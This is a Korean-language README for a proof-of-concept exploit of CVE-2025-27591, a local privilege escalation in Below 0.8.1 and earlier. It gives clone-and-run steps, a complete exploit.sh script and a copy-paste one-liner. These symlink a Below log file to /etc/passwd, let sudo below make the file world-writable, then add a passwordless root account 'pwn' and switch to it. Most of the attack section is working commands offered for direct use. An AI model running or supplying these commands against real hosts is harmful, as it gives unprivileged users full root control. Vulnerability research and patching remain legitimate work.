
Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
Below <= v0.8.1
전역 쓰기 가능 로그 심볼릭 링크를 통한 로컬 권한 상승
PoC 익스플로잇
Below 버전 <= 0.8.1에는 중요한 로컬 권한 상승 취약점(CVE-2025-27591)이 존재합니다.
잘못 구성된 전역 쓰기 가능 로그 디렉토리(/var/log/below/)와 Rust 코드베이스의 안전하지 않은 권한 로직으로 인해, 로컬 공격자는 error_<user>.log를 /etc/passwd와 같은 루트 소유 파일로 심볼릭 링크할 수 있습니다.
below snapshot이 sudo로 실행되면, 강제로 로그 파일에 모드 0666을 설정하고 쓰기 작업을 수행합니다—심볼릭 링크인 경우에도 마찬가지입니다.
이를 통해 비밀번호 없이 root 권한의 사용자를 주입하여 완전한 루트 셸 접근이 가능해집니다.
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
또는
익스플로잇 코드
# Title : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : usage: ./exploit.sh
u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry to /etc/passwd (now writable)
su pwn
참고: IppSec이 그의 워크스루에서 exploit.sh 대신 원라인 명령어를 사용한 후 exploit.sh를 README.md에 추가했습니다. 모두에게 더 쉬울 것이라고 생각했습니다. IppSec 감사합니다. ^^
또는
원라인 명령어 - (복사, 붙여넣기, 실행)
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
/usr/bin/below *에 NOPASSWD 접근 권한이 있는 sudo 그룹의 사용자발견 및 보고: Matthias Gerstner @ SUSE - 보안 권고
PoC 익스플로잇 - Ravindu Wickramasinhge AKA rvz